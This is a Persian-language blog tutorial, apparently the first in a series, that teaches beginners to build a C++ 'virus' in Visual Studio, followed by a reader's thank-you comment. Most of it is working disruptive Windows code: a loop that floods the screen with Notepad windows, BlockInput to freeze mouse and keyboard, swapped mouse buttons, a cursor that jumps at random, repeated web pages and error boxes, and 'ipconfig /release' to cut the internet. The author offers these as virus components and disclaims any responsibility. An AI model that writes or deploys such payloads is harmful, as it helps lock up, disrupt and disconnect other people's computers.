ویژوآل استدیو تون رو استارت کنید و بر روی New Project کلیک کنید و از صفحه باز شده کشوی Visual C++ را باز کنید و بر روی Win32 کلیک کنید و در نهایت در کادر سمت راستی Win32 Console Application را انتخاب کنید
نام و مسیر برنامه ای که میخوایید بسازید رو تعیین کنید و بر روی Ok کلیک کنید
بعد هم بر روی finish کلیک کنید تا به صفحه کد نویسی روبرو شین
اگه اسم فایلتون اسمی باشه که من انتخاب کردم کدهای زیر رو در صفحه تون میبینید
// Virus32.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
خط های سبز رنگ فقط برای توضیح هستن و هیچ عملی رو انجام نمیدن که با دوتا اسلش // شروع میشن
#include "stdafx.h"
اینم همون کتاب خونه است که در سی شارپ با Using شروع میشد
سی پلاس پلاس هم مثل سی شارپ کتابخونه های زیادی داره که هرکدوم کاربرد های خاص خودش رو داره
اکثر ما میدونیم که در اولین قدم برنامه نویسی با چیزی به نام الگوریتم روبرو میشیم
اینجا قرار نیست چیزهای ساده ای مثل الگوریتم رو تکرار کنیم فقط کافیه بدونید
#include ... کتابخونه ها
int _tmain(int argc, _TCHAR* argv[]) شروع بخش اصلی
{
کدها
}
الگوریتم ویروس نویسی مون فعلا فقط همینی هست که میبینید
از کدهای خیلی ساده شروع میکنیم تا برسیم به کدهای خیلی پیشرفته
در این پست برای رفع کوتی چند تا کد تایپ میکنم تا هم بحثمون زیاد سرد نباشه هم یه تستی کرده باشین
همونطور که گفتم ویروس از کدهای کاربردی تشکیل میشه
مثل خط زیر
ShellExecute(NULL, L"open", L"notepad.exe", NULL, NULL, SW_MAXIMIZE);
اینجا دستور اجرا شدن برنامه نوت پد رو در حالت ماکزیمم دادیم
از این خط بیشتر برای نمایش اطلاعات جزئی Info یا Reade me ها در برنامه های کاربردی استفاده میشه
با این کد میشه یه ویروسی به اسم Note Pad Bomber ساخت
ابتدا کتابخونه زیر رو اضافه کنید
#include <Windows.h>
حالا اگه کد بالا رو به شکل زیر در یه حلقه قرار بدیم
int i;
for (i = 0; i < 10; i++) {
ShellExecute(NULL, L"open", L"notepad.exe", NULL, NULL, SW_MAXIMIZE);
}
return 0;
با اجرا شدن ویروسمون بصورت متوالی نوت پد رو اجرا میکنه
اینجا دستور اجرا شدن نوت پد رو برای ده بار دادیم تا بتونیم راحت تر تستش کنیم ما میتونیم بجای ده از عددهای بزرگتر دیگه ای استفاده کنیم تا صفحه با برنامه نوت پد بمباران بشه
ما میتونیم در ویروسمون از غیر فعال کردن ماوس و کیبورد هم استفاده کنیم
BlockInput(true);برنامه باید با ادمین Run as Administrator اجرا بشه
Sleep(6000);
return 0;
اینجا از 6000 استفاده کردیم تا برای 6 ثانیه ماوس و کیبوردمون غیر فعال بشه میتونیم از عدد بزرگتری استفاده کنیم
میتونیم جای دکمه های ماوس رو عوض کنیم
کلیک راست بجای کلیک چپ و برعکس
SwapMouseButton(true);نیازی به سطح ادمین نداره
return 0;
برای بازگشت به حالت اولیه کافیه بجای true عبارت false رو قرار بدین و برنامه رو دوباره استارت کنید
میتونیم یه ماوس وحشی برای ویروسمون تعریف کنیم
int i, x, y;نیازی به سطح ادمین نداره
for (i = 0; i < 201; i++) {
x = rand() % 1001;
y = rand() % 801;
SetCursorPos(x, y);
Sleep(200);
}
return 0;
اشاره گر ماوس در هر لحظه در مکان های مختلفی دیده میشه و غیر قابل کنترل میشه
برای غیر فعال کردنش از کلید های ترکیبی Alt + ctrl + delete استفاده کنید تا برین به تسک منیجر و از اونجا غیر فعالش کنید
میتونیم یه صفحه اینترنتی رو بصورت متوالی به نمایش بزاریم
ShellExecute(NULL, L"open", L"http://www.virus32.blog.ir", NULL, NULL, SW_MAXIMIZE);برای تستش خط دوم یعنی return 0 رو ابتدا حذف کنید تا ویروسمون فقط یکبار این صفحه رو نشون بده
return 0;
میتونیم مثل جریان نوت پد این کد رو درون یه حلقه قرار بدیم یا اینکه ....
میتونیم یه پیام خطا رو بصورت متوالی به کاربر نمایش بدیم
MessageBox(NULL, TEXT("Error loading Virus32 for your system"), TEXT("Error"), MB_OK | MB_ICONEXCLAMATION);این کد هم مثل کد بالا ابتدا برای تست خط دومش رو پاک کنید
return 0;
کد آخر هم برای قطع کردن اینترنت
system("ipconfig /release");
return 0;
بی گدار به آب نزنید ، برای تست کردن این کدها ابتدا خوب دقت کنید ببینید باید چیکار کنید
کدهایی که در این پست نوشتم زیاد خطرناک نیستن به شرطی که جوری که گفته شده تستشون کنید
دقت کنید اگه اشتباه کنید ممکنه به سی پی یو یا رم سیستمون آسیب جدی وارد بشه
در هر صورت اگه یوقت اشتباه کردین و نتونستین جلوی اجرا شدن حلقه ها رو بگیرین سریعاً سیستمتون رو خاموش کنید (رستارت بدین)
دوباره میگم ادمین های این وب هیچ مسئولیتی در قبال پیامد های این آموزش ها نخواهند داشت
در پست های آینده با ویروس های بیشتری آشنا خواهیم شد :)
پیروز باشید
ویروس جوون دمت گرم خیلی وقت بود که منتظر پست ویروس نویسی بودم ولی میخواستم ازت خواهش کنم با ما سی شارپ بیشتر کارکنی. من تازه بهش علاقه مند شدم.
خیلی ممنون از وب عالیت
دوستتون دارم
با تشکر